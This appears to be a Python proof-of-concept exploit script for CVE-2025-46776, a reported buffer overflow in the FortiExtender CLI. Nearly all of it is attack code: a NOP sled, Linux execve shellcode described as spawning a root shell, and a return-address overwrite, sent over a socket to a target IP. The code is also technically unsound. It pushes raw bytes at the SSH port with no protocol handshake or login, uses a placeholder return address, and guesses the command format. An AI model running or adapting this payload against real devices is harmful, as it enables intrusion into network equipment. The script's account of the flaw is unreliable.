CVE-2025-46776

# CVE-2025-46776 PoC - FortiExtender Buffer Overflow RCE # Note: This is a conceptual PoC for educational purposes only # Actual exploitation requires valid credentials and CLI access import socket import struct def create_malicious_payload(): """ Generate malicious CLI command payload for buffer overflow This is a simplified demonstration payload structure """ # Buffer overflow pattern - NOP sled + shellcode + return address nop_sled = b'\x90' * 100 # Simple execve shellcode for demonstration (Linux/x86) # This spawns a shell with root privileges shellcode = ( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x66\xb9\xff\x01\x51\x50\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' ) # Padding to reach buffer boundary padding = b'A' * 200 # Overwrite return address (needs to be adjusted for actual version) return_address = struct.pack('<I', 0xdeadbeef) # Target address (NOP sled) payload = nop_sled + shellcode + padding + return_address return payload def exploit_fortiextender(target_ip, port=22): """ Exploit FortiExtender CLI buffer overflow via SSH/Telnet Requires valid credentials with admin privileges """ payload = create_malicious_payload() # Construct malicious CLI command # The actual command format depends on vulnerable parameter cli_command = b'exec ' + payload try: # Connect to CLI interface (typically SSH or console) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) # Send malicious payload sock.send(cli_command) # Receive response response = sock.recv(4096) print(f"Response: {response}") sock.close() return True except Exception as e: print(f"Error: {e}") return False if __name__ == '__main__': print("CVE-2025-46776 FortiExtender Buffer Overflow PoC") print("This PoC requires valid admin credentials and CLI access") # Usage: python poc.py <target_ip>

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